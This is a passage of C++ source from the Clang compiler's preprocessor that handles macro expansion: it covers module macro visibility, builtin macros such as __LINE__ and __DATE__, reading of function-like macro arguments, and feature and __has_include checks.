macro. llvm::SmallVector<ModuleMacro *, 16> Worklist; for (auto *LeafMM : Leaf->second) { assert(LeafMM->getNumOverridingMacros() == 0 && "leaf macro overridden"); if (NumHiddenOverrides.lookup(LeafMM) == 0) Worklist.push_back(LeafMM); } while (!Worklist.empty()) { auto *MM = Worklist.pop_back_val(); if (CurSubmoduleState->VisibleModules.isVisible(MM->getOwningModule())) { // We only care about collecting definitions; undefinitions only act // to override other definitions. if (MM->getMacroInfo()) Info.ActiveModuleMacros.push_back(MM); } else { for (auto *O : MM->overrides()) if ((unsigned)++NumHiddenOverrides[O] == O->getNumOverridingMacros()) Worklist.push_back(O); } } // Our reverse postorder walk found the macros in reverse order. std::reverse(Info.ActiveModuleMacros.begin(), Info.ActiveModuleMacros.end()); // Determine whether the macro name is ambiguous. MacroInfo *MI = nullptr; bool IsSystemMacro = true; bool IsAmbiguous = false; if (auto *MD = Info.MD) { while (MD && isa<VisibilityMacroDirective>(MD)) MD = MD->getPrevious(); if (auto *DMD = dyn_cast_or_null<DefMacroDirective>(MD)) { MI = DMD->getInfo(); IsSystemMacro &= SourceMgr.isInSystemHeader(DMD->getLocation()); } } for (auto *Active : Info.ActiveModuleMacros) { auto *NewMI = Active->getMacroInfo(); // Before marking the macro as ambiguous, check if this is a case where // both macros are in system headers. If so, we trust that the system // did not get it wrong. This also handles cases where Clang's own // headers have a different spelling of certain system macros: // #define LONG_MAX __LONG_MAX__ (clang's limits.h) // #define LONG_MAX 0x7fffffffffffffffL (system's limits.h) // // FIXME: Remove the defined-in-system-headers check. clang's limits.h // overrides the system limits.h's macros, so there's no conflict here. if (MI && NewMI != MI && !MI->isIdenticalTo(*NewMI, *this, /*Syntactically=*/true)) IsAmbiguous = true; IsSystemMacro &= Active->getOwningModule()->IsSystem || SourceMgr.isInSystemHeader(NewMI->getDefinitionLoc()); MI = NewMI; } Info.IsAmbiguous = IsAmbiguous && !IsSystemMacro; } void Preprocessor::dumpMacroInfo(const IdentifierInfo *II) { ArrayRef<ModuleMacro*> Leaf; auto LeafIt = LeafModuleMacros.find(II); if (LeafIt != LeafModuleMacros.end()) Leaf = LeafIt->second; const MacroState *State = nullptr; auto Pos = CurSubmoduleState->Macros.find(II); if (Pos != CurSubmoduleState->Macros.end()) State = &Pos->second; llvm::errs() << "MacroState " << State << " " << II->getNameStart(); if (State && State->isAmbiguous(*this, II)) llvm::errs() << " ambiguous"; if (State && !State->getOverriddenMacros().empty()) { llvm::errs() << " overrides"; for (auto *O : State->getOverriddenMacros()) llvm::errs() << " " << O->getOwningModule()->getFullModuleName(); } llvm::errs() << "\n"; // Dump local macro directives. for (auto *MD = State ? State->getLatest() : nullptr; MD; MD = MD->getPrevious()) { llvm::errs() << " "; MD->dump(); } // Dump module macros. llvm::DenseSet<ModuleMacro*> Active; for (auto *MM : State ? State->getActiveModuleMacros(*this, II) : None) Active.insert(MM); llvm::DenseSet<ModuleMacro*> Visited; llvm::SmallVector<ModuleMacro *, 16> Worklist(Leaf.begin(), Leaf.end()); while (!Worklist.empty()) { auto *MM = Worklist.pop_back_val(); llvm::errs() << " ModuleMacro " << MM << " " << MM->getOwningModule()->getFullModuleName(); if (!MM->getMacroInfo()) llvm::errs() << " undef"; if (Active.count(MM)) llvm::errs() << " active"; else if (!CurSubmoduleState->VisibleModules.isVisible( MM->getOwningModule())) llvm::errs() << " hidden"; else if (MM->getMacroInfo()) llvm::errs() << " overridden"; if (!MM->overrides().empty()) { llvm::errs() << " overrides"; for (auto *O : MM->overrides()) { llvm::errs() << " " << O->getOwningModule()->getFullModuleName(); if (Visited.insert(O).second) Worklist.push_back(O); } } llvm::errs() << "\n"; if (auto *MI = MM->getMacroInfo()) { llvm::errs() << " "; MI->dump(); llvm::errs() << "\n"; } } } /// RegisterBuiltinMacro - Register the specified identifier in the identifier /// table and mark it as a builtin macro to be expanded. static IdentifierInfo *RegisterBuiltinMacro(Preprocessor &PP, const char *Name){ // Get the identifier. IdentifierInfo *Id = PP.getIdentifierInfo(Name); // Mark it as being a macro that is builtin. MacroInfo *MI = PP.AllocateMacroInfo(SourceLocation()); MI->setIsBuiltinMacro(); PP.appendDefMacroDirective(Id, MI); return Id; } /// RegisterBuiltinMacros - Register builtin macros, such as __LINE__ with the /// identifier table. void Preprocessor::RegisterBuiltinMacros() { Ident__LINE__ = RegisterBuiltinMacro(*this, "__LINE__"); Ident__FILE__ = RegisterBuiltinMacro(*this, "__FILE__"); Ident__DATE__ = RegisterBuiltinMacro(*this, "__DATE__"); Ident__TIME__ = RegisterBuiltinMacro(*this, "__TIME__"); Ident__COUNTER__ = RegisterBuiltinMacro(*this, "__COUNTER__"); Ident_Pragma = RegisterBuiltinMacro(*this, "_Pragma"); // C++ Standing Document Extensions. if (LangOpts.CPlusPlus) Ident__has_cpp_attribute = RegisterBuiltinMacro(*this, "__has_cpp_attribute"); else Ident__has_cpp_attribute = nullptr; // GCC Extensions. Ident__BASE_FILE__ = RegisterBuiltinMacro(*this, "__BASE_FILE__"); Ident__INCLUDE_LEVEL__ = RegisterBuiltinMacro(*this, "__INCLUDE_LEVEL__"); Ident__TIMESTAMP__ = RegisterBuiltinMacro(*this, "__TIMESTAMP__"); // Microsoft Extensions. if (LangOpts.MicrosoftExt) { Ident__identifier = RegisterBuiltinMacro(*this, "__identifier"); Ident__pragma = RegisterBuiltinMacro(*this, "__pragma"); } else { Ident__identifier = nullptr; Ident__pragma = nullptr; } // Clang Extensions. Ident__has_feature = RegisterBuiltinMacro(*this, "__has_feature"); Ident__has_extension = RegisterBuiltinMacro(*this, "__has_extension"); Ident__has_builtin = RegisterBuiltinMacro(*this, "__has_builtin"); Ident__has_attribute = RegisterBuiltinMacro(*this, "__has_attribute"); Ident__has_c_attribute = RegisterBuiltinMacro(*this, "__has_c_attribute"); Ident__has_declspec = RegisterBuiltinMacro(*this, "__has_declspec_attribute"); Ident__has_include = RegisterBuiltinMacro(*this, "__has_include"); Ident__has_include_next = RegisterBuiltinMacro(*this, "__has_include_next"); Ident__has_warning = RegisterBuiltinMacro(*this, "__has_warning"); Ident__is_identifier = RegisterBuiltinMacro(*this, "__is_identifier"); Ident__is_target_arch = RegisterBuiltinMacro(*this, "__is_target_arch"); Ident__is_target_vendor = RegisterBuiltinMacro(*this, "__is_target_vendor"); Ident__is_target_os = RegisterBuiltinMacro(*this, "__is_target_os"); Ident__is_target_environment = RegisterBuiltinMacro(*this, "__is_target_environment"); // Modules. Ident__building_module = RegisterBuiltinMacro(*this, "__building_module"); if (!LangOpts.CurrentModule.empty()) Ident__MODULE__ = RegisterBuiltinMacro(*this, "__MODULE__"); else Ident__MODULE__ = nullptr; } /// isTrivialSingleTokenExpansion - Return true if MI, which has a single token /// in its expansion, currently expands to that token literally. static bool isTrivialSingleTokenExpansion(const MacroInfo *MI, const IdentifierInfo *MacroIdent, Preprocessor &PP) { IdentifierInfo *II = MI->getReplacementToken(0).getIdentifierInfo(); // If the token isn't an identifier, it's always literally expanded. if (!II) return true; // If the information about this identifier is out of date, update it from // the external source. if (II->isOutOfDate()) PP.getExternalSource()->updateOutOfDateIdentifier(*II); // If the identifier is a macro, and if that macro is enabled, it may be // expanded so it's not a trivial expansion. if (auto *ExpansionMI = PP.getMacroInfo(II)) if (ExpansionMI->isEnabled() && // Fast expanding "#define X X" is ok, because X would be disabled. II != MacroIdent) return false; // If this is an object-like macro invocation, it is safe to trivially expand // it. if (MI->isObjectLike()) return true; // If this is a function-like macro invocation, it's safe to trivially expand // as long as the identifier is not a macro argument. return std::find(MI->param_begin(), MI->param_end(), II) == MI->param_end(); } /// isNextPPTokenLParen - Determine whether the next preprocessor token to be /// lexed is a '('. If so, consume the token and return true, if not, this /// method should have no observable side-effect on the lexed tokens. bool Preprocessor::isNextPPTokenLParen() { // Do some quick tests for rejection cases. unsigned Val; if (CurLexer) Val = CurLexer->isNextPPTokenLParen(); else if (CurPTHLexer) Val = CurPTHLexer->isNextPPTokenLParen(); else Val = CurTokenLexer->isNextTokenLParen(); if (Val == 2) { // We have run off the end. If it's a source file we don't // examine enclosing ones (C99 5.1.1.2p4). Otherwise walk up the // macro stack. if (CurPPLexer) return false; for (const IncludeStackInfo &Entry : llvm::reverse(IncludeMacroStack)) { if (Entry.TheLexer) Val = Entry.TheLexer->isNextPPTokenLParen(); else if (Entry.ThePTHLexer) Val = Entry.ThePTHLexer->isNextPPTokenLParen(); else Val = Entry.TheTokenLexer->isNextTokenLParen(); if (Val != 2) break; // Ran off the end of a source file? if (Entry.ThePPLexer) return false; } } // Okay, if we know that the token is a '(', lex it and return. Otherwise we // have found something that isn't a '(' or we found the end of the // translation unit. In either case, return false. return Val == 1; } /// HandleMacroExpandedIdentifier - If an identifier token is read that is to be /// expanded as a macro, handle it and return the next token as 'Identifier'. bool Preprocessor::HandleMacroExpandedIdentifier(Token &Identifier, const MacroDefinition &M) { MacroInfo *MI = M.getMacroInfo(); // If this is a macro expansion in the "#if !defined(x)" line for the file, // then the macro could expand to different things in other contexts, we need // to disable the optimization in this case. if (CurPPLexer) CurPPLexer->MIOpt.ExpandedMacro(); // If this is a builtin macro, like __LINE__ or _Pragma, handle it specially. if (MI->isBuiltinMacro()) { if (Callbacks) Callbacks->MacroExpands(Identifier, M, Identifier.getLocation(), /*Args=*/nullptr); ExpandBuiltinMacro(Identifier); return true; } /// Args - If this is a function-like macro expansion, this contains, /// for each macro argument, the list of tokens that were provided to the /// invocation. MacroArgs *Args = nullptr; // Remember where the end of the expansion occurred. For an object-like // macro, this is the identifier. For a function-like macro, this is the ')'. SourceLocation ExpansionEnd = Identifier.getLocation(); // If this is a function-like macro, read the arguments. if (MI->isFunctionLike()) { // Remember that we are now parsing the arguments to a macro invocation. // Preprocessor directives used inside macro arguments are not portable, and // this enables the warning. InMacroArgs = true; Args = ReadMacroCallArgumentList(Identifier, MI, ExpansionEnd); // Finished parsing args. InMacroArgs = false; // If there was an error parsing the arguments, bail out. if (!Args) return true; ++NumFnMacroExpanded; } else { ++NumMacroExpanded; } // Notice that this macro has been used. markMacroAsUsed(MI); // Remember where the token is expanded. SourceLocation ExpandLoc = Identifier.getLocation(); SourceRange ExpansionRange(ExpandLoc, ExpansionEnd); if (Callbacks) { if (InMacroArgs) { // We can have macro expansion inside a conditional directive while // reading the function macro arguments. To ensure, in that case, that // MacroExpands callbacks still happen in source order, queue this // callback to have it happen after the function macro callback. DelayedMacroExpandsCallbacks.push_back( MacroExpandsInfo(Identifier, M, ExpansionRange)); } else { Callbacks->MacroExpands(Identifier, M, ExpansionRange, Args); if (!DelayedMacroExpandsCallbacks.empty()) { for (const MacroExpandsInfo &Info : DelayedMacroExpandsCallbacks) { // FIXME: We lose macro args info with delayed callback. Callbacks->MacroExpands(Info.Tok, Info.MD, Info.Range, /*Args=*/nullptr); } DelayedMacroExpandsCallbacks.clear(); } } } // If the macro definition is ambiguous, complain. if (M.isAmbiguous()) { Diag(Identifier, diag::warn_pp_ambiguous_macro) << Identifier.getIdentifierInfo(); Diag(MI->getDefinitionLoc(), diag::note_pp_ambiguous_macro_chosen) << Identifier.getIdentifierInfo(); M.forAllDefinitions([&](const MacroInfo *OtherMI) { if (OtherMI != MI) Diag(OtherMI->getDefinitionLoc(), diag::note_pp_ambiguous_macro_other) << Identifier.getIdentifierInfo(); }); } // If we started lexing a macro, enter the macro expansion body. // If this macro expands to no tokens, don't bother to push it onto the // expansion stack, only to take it right back off. if (MI->getNumTokens() == 0) { // No need for arg info. if (Args) Args->destroy(*this); // Propagate whitespace info as if we had pushed, then popped, // a macro context. Identifier.setFlag(Token::LeadingEmptyMacro); PropagateLineStartLeadingSpaceInfo(Identifier); ++NumFastMacroExpanded; return false; } else if (MI->getNumTokens() == 1 && isTrivialSingleTokenExpansion(MI, Identifier.getIdentifierInfo(), *this)) { // Otherwise, if this macro expands into a single trivially-expanded // token: expand it now. This handles common cases like // "#define VAL 42". // No need for arg info. if (Args) Args->destroy(*this); // Propagate the isAtStartOfLine/hasLeadingSpace markers of the macro // identifier to the expanded token. bool isAtStartOfLine = Identifier.isAtStartOfLine(); bool hasLeadingSpace = Identifier.hasLeadingSpace(); // Replace the result token. Identifier = MI->getReplacementToken(0); // Restore the StartOfLine/LeadingSpace markers. Identifier.setFlagValue(Token::StartOfLine , isAtStartOfLine); Identifier.setFlagValue(Token::LeadingSpace, hasLeadingSpace); // Update the tokens location to include both its expansion and physical // locations. SourceLocation Loc = SourceMgr.createExpansionLoc(Identifier.getLocation(), ExpandLoc, ExpansionEnd,Identifier.getLength()); Identifier.setLocation(Loc); // If this is a disabled macro or #define X X, we must mark the result as // unexpandable. if (IdentifierInfo *NewII = Identifier.getIdentifierInfo()) { if (MacroInfo *NewMI = getMacroInfo(NewII)) if (!NewMI->isEnabled() || NewMI == MI) { Identifier.setFlag(Token::DisableExpand); // Don't warn for "#define X X" like "#define bool bool" from // stdbool.h. if (NewMI != MI || MI->isFunctionLike()) Diag(Identifier, diag::pp_disabled_macro_expansion); } } // Since this is not an identifier token, it can't be macro expanded, so // we're done. ++NumFastMacroExpanded; return true; } // Start expanding the macro. EnterMacro(Identifier, ExpansionEnd, MI, Args); return false; } enum Bracket { Brace, Paren }; /// CheckMatchedBrackets - Returns true if the braces and parentheses in the /// token vector are properly nested. static bool CheckMatchedBrackets(const SmallVectorImpl<Token> &Tokens) { SmallVector<Bracket, 8> Brackets; for (SmallVectorImpl<Token>::const_iterator I = Tokens.begin(), E = Tokens.end(); I != E; ++I) { if (I->is(tok::l_paren)) { Brackets.push_back(Paren); } else if (I->is(tok::r_paren)) { if (Brackets.empty() || Brackets.back() == Brace) return false; Brackets.pop_back(); } else if (I->is(tok::l_brace)) { Brackets.push_back(Brace); } else if (I->is(tok::r_brace)) { if (Brackets.empty() || Brackets.back() == Paren) return false; Brackets.pop_back(); } } return Brackets.empty(); } /// GenerateNewArgTokens - Returns true if OldTokens can be converted to a new /// vector of tokens in NewTokens. The new number of arguments will be placed /// in NumArgs and the ranges which need to surrounded in parentheses will be /// in ParenHints. /// Returns false if the token stream cannot be changed. If this is because /// of an initializer list starting a macro argument, the range of those /// initializer lists will be place in InitLists. static bool GenerateNewArgTokens(Preprocessor &PP, SmallVectorImpl<Token> &OldTokens, SmallVectorImpl<Token> &NewTokens, unsigned &NumArgs, SmallVectorImpl<SourceRange> &ParenHints, SmallVectorImpl<SourceRange> &InitLists) { if (!CheckMatchedBrackets(OldTokens)) return false; // Once it is known that the brackets are matched, only a simple count of the // braces is needed. unsigned Braces = 0; // First token of a new macro argument. SmallVectorImpl<Token>::iterator ArgStartIterator = OldTokens.begin(); // First closing brace in a new macro argument. Used to generate // SourceRanges for InitLists. SmallVectorImpl<Token>::iterator ClosingBrace = OldTokens.end(); NumArgs = 0; Token TempToken; // Set to true when a macro separator token is found inside a braced list. // If true, the fixed argument spans multiple old arguments and ParenHints // will be updated. bool FoundSeparatorToken = false; for (SmallVectorImpl<Token>::iterator I = OldTokens.begin(), E = OldTokens.end(); I != E; ++I) { if (I->is(tok::l_brace)) { ++Braces; } else if (I->is(tok::r_brace)) { --Braces; if (Braces == 0 && ClosingBrace == E && FoundSeparatorToken) ClosingBrace = I; } else if (I->is(tok::eof)) { // EOF token is used to separate macro arguments if (Braces != 0) { // Assume comma separator is actually braced list separator and change // it back to a comma. FoundSeparatorToken = true; I->setKind(tok::comma); I->setLength(1); } else { // Braces == 0 // Separator token still separates arguments. ++NumArgs; // If the argument starts with a brace, it can't be fixed with // parentheses. A different diagnostic will be given. if (FoundSeparatorToken && ArgStartIterator->is(tok::l_brace)) { InitLists.push_back( SourceRange(ArgStartIterator->getLocation(), PP.getLocForEndOfToken(ClosingBrace->getLocation()))); ClosingBrace = E; } // Add left paren if (FoundSeparatorToken) { TempToken.startToken(); TempToken.setKind(tok::l_paren); TempToken.setLocation(ArgStartIterator->getLocation()); TempToken.setLength(0); NewTokens.push_back(TempToken); } // Copy over argument tokens NewTokens.insert(NewTokens.end(), ArgStartIterator, I); // Add right paren and store the paren locations in ParenHints if (FoundSeparatorToken) { SourceLocation Loc = PP.getLocForEndOfToken((I - 1)->getLocation()); TempToken.startToken(); TempToken.setKind(tok::r_paren); TempToken.setLocation(Loc); TempToken.setLength(0); NewTokens.push_back(TempToken); ParenHints.push_back(SourceRange(ArgStartIterator->getLocation(), Loc)); } // Copy separator token NewTokens.push_back(*I); // Reset values ArgStartIterator = I + 1; FoundSeparatorToken = false; } } } return !ParenHints.empty() && InitLists.empty(); } /// ReadFunctionLikeMacroArgs - After reading "MACRO" and knowing that the next /// token is the '(' of the macro, this method is invoked to read all of the /// actual arguments specified for the macro invocation. This returns null on /// error. MacroArgs *Preprocessor::ReadMacroCallArgumentList(Token &MacroName, MacroInfo *MI, SourceLocation &MacroEnd) { // The number of fixed arguments to parse. unsigned NumFixedArgsLeft = MI->getNumParams(); bool isVariadic = MI->isVariadic(); // Outer loop, while there are more arguments, keep reading them. Token Tok; // Read arguments as unexpanded tokens. This avoids issues, e.g., where // an argument value in a macro could expand to ',' or '(' or ')'. LexUnexpandedToken(Tok); assert(Tok.is(tok::l_paren) && "Error computing l-paren-ness?"); // ArgTokens - Build up a list of tokens that make up each argument. Each // argument is separated by an EOF token. Use a SmallVector so we can avoid // heap allocations in the common case. SmallVector<Token, 64> ArgTokens; bool ContainsCodeCompletionTok = false; bool FoundElidedComma = false; SourceLocation TooManyArgsLoc; unsigned NumActuals = 0; while (Tok.isNot(tok::r_paren)) { if (ContainsCodeCompletionTok && Tok.isOneOf(tok::eof, tok::eod)) break; assert(Tok.isOneOf(tok::l_paren, tok::comma) && "only expect argument separators here"); size_t ArgTokenStart = ArgTokens.size(); SourceLocation ArgStartLoc = Tok.getLocation(); // C99 6.10.3p11: Keep track of the number of l_parens we have seen. Note // that we already consumed the first one. unsigned NumParens = 0; while (true) { // Read arguments as unexpanded tokens. This avoids issues, e.g., where // an argument value in a macro could expand to ',' or '(' or ')'. LexUnexpandedToken(Tok); if (Tok.isOneOf(tok::eof, tok::eod)) { // "#if f(<eof>" & "#if f(\n" if (!ContainsCodeCompletionTok) { Diag(MacroName, diag::err_unterm_macro_invoc); Diag(MI->getDefinitionLoc(), diag::note_macro_here) << MacroName.getIdentifierInfo(); // Do not lose the EOF/EOD. Return it to the client. MacroName = Tok; return nullptr; } // Do not lose the EOF/EOD. auto Toks = llvm::make_unique<Token[]>(1); Toks[0] = Tok; EnterTokenStream(std::move(Toks), 1, true); break; } else if (Tok.is(tok::r_paren)) { // If we found the ) token, the macro arg list is done. if (NumParens-- == 0) { MacroEnd = Tok.getLocation(); if (!ArgTokens.empty() && ArgTokens.back().commaAfterElided()) { FoundElidedComma = true; } break; } } else if (Tok.is(tok::l_paren)) { ++NumParens; } else if (Tok.is(tok::comma) && NumParens == 0 && !(Tok.getFlags() & Token::IgnoredComma)) { // In Microsoft-compatibility mode, single commas from nested macro // expansions should not be considered as argument separators. We test // for this with the IgnoredComma token flag above. // Comma ends this argument if there are more fixed arguments expected. // However, if this is a variadic macro, and this is part of the // variadic part, then the comma is just an argument token. if (!isVariadic) break; if (NumFixedArgsLeft > 1) break; } else if (Tok.is(tok::comment) && !KeepMacroComments) { // If this is a comment token in the argument list and we're just in // -C mode (not -CC mode), discard the comment. continue; } else if (!Tok.isAnnotation() && Tok.getIdentifierInfo() != nullptr) { // Reading macro arguments can cause macros that we are currently // expanding from to be popped off the expansion stack. Doing so causes // them to be reenabled for expansion. Here we record whether any // identifiers we lex as macro arguments correspond to disabled macros. // If so, we mark the token as noexpand. This is a subtle aspect of // C99 6.10.3.4p2. if (MacroInfo *MI = getMacroInfo(Tok.getIdentifierInfo())) if (!MI->isEnabled()) Tok.setFlag(Token::DisableExpand); } else if (Tok.is(tok::code_completion)) { ContainsCodeCompletionTok = true; if (CodeComplete) CodeComplete->CodeCompleteMacroArgument(MacroName.getIdentifierInfo(), MI, NumActuals); // Don't mark that we reached the code-completion point because the // parser is going to handle the token and there will be another // code-completion callback. } ArgTokens.push_back(Tok); } // If this was an empty argument list foo(), don't add this as an empty // argument. if (ArgTokens.empty() && Tok.getKind() == tok::r_paren) break; // If this is not a variadic macro, and too many args were specified, emit // an error. if (!isVariadic && NumFixedArgsLeft == 0 && TooManyArgsLoc.isInvalid()) { if (ArgTokens.size() != ArgTokenStart) TooManyArgsLoc = ArgTokens[ArgTokenStart].getLocation(); else TooManyArgsLoc = ArgStartLoc; } // Empty arguments are standard in C99 and C++0x, and are supported as an // extension in other modes. if (ArgTokens.size() == ArgTokenStart && !LangOpts.C99) Diag(Tok, LangOpts.CPlusPlus11 ? diag::warn_cxx98_compat_empty_fnmacro_arg : diag::ext_empty_fnmacro_arg); // Add a marker EOF token to the end of the token list for this argument. Token EOFTok; EOFTok.startToken(); EOFTok.setKind(tok::eof); EOFTok.setLocation(Tok.getLocation()); EOFTok.setLength(0); ArgTokens.push_back(EOFTok); ++NumActuals; if (!ContainsCodeCompletionTok && NumFixedArgsLeft != 0) --NumFixedArgsLeft; } // Okay, we either found the r_paren. Check to see if we parsed too few // arguments. unsigned MinArgsExpected = MI->getNumParams(); // If this is not a variadic macro, and too many args were specified, emit // an error. if (!isVariadic && NumActuals > MinArgsExpected && !ContainsCodeCompletionTok) { // Emit the diagnostic at the macro name in case there is a missing ). // Emitting it at the , could be far away from the macro name. Diag(TooManyArgsLoc, diag::err_too_many_args_in_macro_invoc); Diag(MI->getDefinitionLoc(), diag::note_macro_here) << MacroName.getIdentifierInfo(); // Commas from braced initializer lists will be treated as argument // separators inside macros. Attempt to correct for this with parentheses. // TODO: See if this can be generalized to angle brackets for templates // inside macro arguments. SmallVector<Token, 4> FixedArgTokens; unsigned FixedNumArgs = 0; SmallVector<SourceRange, 4> ParenHints, InitLists; if (!GenerateNewArgTokens(*this, ArgTokens, FixedArgTokens, FixedNumArgs, ParenHints, InitLists)) { if (!InitLists.empty()) { DiagnosticBuilder DB = Diag(MacroName, diag::note_init_list_at_beginning_of_macro_argument); for (SourceRange Range : InitLists) DB << Range; } return nullptr; } if (FixedNumArgs != MinArgsExpected) return nullptr; DiagnosticBuilder DB = Diag(MacroName, diag::note_suggest_parens_for_macro); for (SourceRange ParenLocation : ParenHints) { DB << FixItHint::CreateInsertion(ParenLocation.getBegin(), "("); DB << FixItHint::CreateInsertion(ParenLocation.getEnd(), ")"); } ArgTokens.swap(FixedArgTokens); NumActuals = FixedNumArgs; } // See MacroArgs instance var for description of this. bool isVarargsElided = false; if (ContainsCodeCompletionTok) { // Recover from not-fully-formed macro invocation during code-completion. Token EOFTok; EOFTok.startToken(); EOFTok.setKind(tok::eof); EOFTok.setLocation(Tok.getLocation()); EOFTok.setLength(0); for (; NumActuals < MinArgsExpected; ++NumActuals) ArgTokens.push_back(EOFTok); } if (NumActuals < MinArgsExpected) { // There are several cases where too few arguments is ok, handle them now. if (NumActuals == 0 && MinArgsExpected == 1) { // #define A(X) or #define A(...) ---> A() // If there is exactly one argument, and that argument is missing, // then we have an empty "()" argument empty list. This is fine, even if // the macro expects one argument (the argument is just empty). isVarargsElided = MI->isVariadic(); } else if ((FoundElidedComma || MI->isVariadic()) && (NumActuals+1 == MinArgsExpected || // A(x, ...) -> A(X) (NumActuals == 0 && MinArgsExpected == 2))) {// A(x,...) -> A() // Varargs where the named vararg parameter is missing: OK as extension. // #define A(x, ...) // A("blah") // // If the macro contains the comma pasting extension, the diagnostic // is suppressed; we know we'll get another diagnostic later. if (!MI->hasCommaPasting()) { Diag(Tok, diag::ext_missing_varargs_arg); Diag(MI->getDefinitionLoc(), diag::note_macro_here) << MacroName.getIdentifierInfo(); } // Remember this occurred, allowing us to elide the comma when used for // cases like: // #define A(x, foo...) blah(a, ## foo) // #define B(x, ...) blah(a, ## __VA_ARGS__) // #define C(...) blah(a, ## __VA_ARGS__) // A(x) B(x) C() isVarargsElided = true; } else if (!ContainsCodeCompletionTok) { // Otherwise, emit the error. Diag(Tok, diag::err_too_few_args_in_macro_invoc); Diag(MI->getDefinitionLoc(), diag::note_macro_here) << MacroName.getIdentifierInfo(); return nullptr; } // Add a marker EOF token to the end of the token list for this argument. SourceLocation EndLoc = Tok.getLocation(); Tok.startToken(); Tok.setKind(tok::eof); Tok.setLocation(EndLoc); Tok.setLength(0); ArgTokens.push_back(Tok); // If we expect two arguments, add both as empty. if (NumActuals == 0 && MinArgsExpected == 2) ArgTokens.push_back(Tok); } else if (NumActuals > MinArgsExpected && !MI->isVariadic() && !ContainsCodeCompletionTok) { // Emit the diagnostic at the macro name in case there is a missing ). // Emitting it at the , could be far away from the macro name. Diag(MacroName, diag::err_too_many_args_in_macro_invoc); Diag(MI->getDefinitionLoc(), diag::note_macro_here) << MacroName.getIdentifierInfo(); return nullptr; } return MacroArgs::create(MI, ArgTokens, isVarargsElided, *this); } /// Keeps macro expanded tokens for TokenLexers. // /// Works like a stack; a TokenLexer adds the macro expanded tokens that is /// going to lex in the cache and when it finishes the tokens are removed /// from the end of the cache. Token *Preprocessor::cacheMacroExpandedTokens(TokenLexer *tokLexer, ArrayRef<Token> tokens) { assert(tokLexer); if (tokens.empty()) return nullptr; size_t newIndex = MacroExpandedTokens.size(); bool cacheNeedsToGrow = tokens.size() > MacroExpandedTokens.capacity()-MacroExpandedTokens.size(); MacroExpandedTokens.append(tokens.begin(), tokens.end()); if (cacheNeedsToGrow) { // Go through all the TokenLexers whose 'Tokens' pointer points in the // buffer and update the pointers to the (potential) new buffer array. for (const auto &Lexer : MacroExpandingLexersStack) { TokenLexer *prevLexer; size_t tokIndex; std::tie(prevLexer, tokIndex) = Lexer; prevLexer->Tokens = MacroExpandedTokens.data() + tokIndex; } } MacroExpandingLexersStack.push_back(std::make_pair(tokLexer, newIndex)); return MacroExpandedTokens.data() + newIndex; } void Preprocessor::removeCachedMacroExpandedTokensOfLastLexer() { assert(!MacroExpandingLexersStack.empty()); size_t tokIndex = MacroExpandingLexersStack.back().second; assert(tokIndex < MacroExpandedTokens.size()); // Pop the cached macro expanded tokens from the end. MacroExpandedTokens.resize(tokIndex); MacroExpandingLexersStack.pop_back(); } /// ComputeDATE_TIME - Compute the current time, enter it into the specified /// scratch buffer, then return DATELoc/TIMELoc locations with the position of /// the identifier tokens inserted. static void ComputeDATE_TIME(SourceLocation &DATELoc, SourceLocation &TIMELoc, Preprocessor &PP) { time_t TT = time(nullptr); struct tm *TM = localtime(&TT); static const char * const Months[] = { "Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec" }; { SmallString<32> TmpBuffer; llvm::raw_svector_ostream TmpStream(TmpBuffer); TmpStream << llvm::format("\"%s %2d %4d\"", Months[TM->tm_mon], TM->tm_mday, TM->tm_year + 1900); Token TmpTok; TmpTok.startToken(); PP.CreateString(TmpStream.str(), TmpTok); DATELoc = TmpTok.getLocation(); } { SmallString<32> TmpBuffer; llvm::raw_svector_ostream TmpStream(TmpBuffer); TmpStream << llvm::format("\"%02d:%02d:%02d\"", TM->tm_hour, TM->tm_min, TM->tm_sec); Token TmpTok; TmpTok.startToken(); PP.CreateString(TmpStream.str(), TmpTok); TIMELoc = TmpTok.getLocation(); } } /// HasFeature - Return true if we recognize and implement the feature /// specified by the identifier as a standard language feature. static bool HasFeature(const Preprocessor &PP, StringRef Feature) { const LangOptions &LangOpts = PP.getLangOpts(); // Normalize the feature name, __foo__ becomes foo. if (Feature.startswith("__") && Feature.endswith("__") && Feature.size() >= 4) Feature = Feature.substr(2, Feature.size() - 4); #define FEATURE(Name, Predicate) .Case(#Name, Predicate) return llvm::StringSwitch<bool>(Feature) #include "clang/Basic/Features.def" .Default(false); #undef FEATURE } /// HasExtension - Return true if we recognize and implement the feature /// specified by the identifier, either as an extension or a standard language /// feature. static bool HasExtension(const Preprocessor &PP, StringRef Extension) { if (HasFeature(PP, Extension)) return true; // If the use of an extension results in an error diagnostic, extensions are // effectively unavailable, so just return false here. if (PP.getDiagnostics().getExtensionHandlingBehavior() >= diag::Severity::Error) return false; const LangOptions &LangOpts = PP.getLangOpts(); // Normalize the extension name, __foo__ becomes foo. if (Extension.startswith("__") && Extension.endswith("__") && Extension.size() >= 4) Extension = Extension.substr(2, Extension.size() - 4); // Because we inherit the feature list from HasFeature, this string switch // must be less restrictive than HasFeature's. #define EXTENSION(Name, Predicate) .Case(#Name, Predicate) return llvm::StringSwitch<bool>(Extension) #include "clang/Basic/Features.def" .Default(false); #undef EXTENSION } /// EvaluateHasIncludeCommon - Process a '__has_include("path")' /// or '__has_include_next("path")' expression. /// Returns true if successful. static bool EvaluateHasIncludeCommon(Token &Tok, IdentifierInfo *II, Preprocessor &PP, const DirectoryLookup *LookupFrom, const FileEntry *LookupFromFile) { // Save the location of the current token. If a '(' is later found, use // that location. If not, use the end of this location instead. SourceLocation LParenLoc = Tok.getLocation(); // These expressions are only allowed within a preprocessor directive. if (!PP.isParsingIfOrElifDirective()) { PP.Diag(LParenLoc, diag::err_pp_directive_required) << II; // Return a valid identifier token. assert(Tok.is(tok::identifier)); Tok.setIdentifierInfo(II); return false; } // Get '('. PP.LexNonComment(Tok); // Ensure we have a '('. if (Tok.isNot(tok::l_paren)) { // No '(', use end of last token. LParenLoc = PP.getLocForEndOfToken(LParenLoc); PP.Diag(LParenLoc, diag::err_pp_expected_after) << II << tok::l_paren; // If the next token looks like a filename or the start of one, // assume it is and process it as such. if (!Tok.is(tok::angle_string_literal) && !Tok.is(tok::string_literal) && !Tok.is(tok::less)) return false; } else { // Save '(' location for possible missing ')' message. LParenLoc = Tok.getLocation(); if (PP.getCurrentLexer()) { // Get the file name. PP.getCurrentLexer()->LexIncludeFilename(Tok); } else { // We're in a macro, so we can't use LexIncludeFilename; just // grab the next token. PP.Lex(Tok); } } // Reserve a 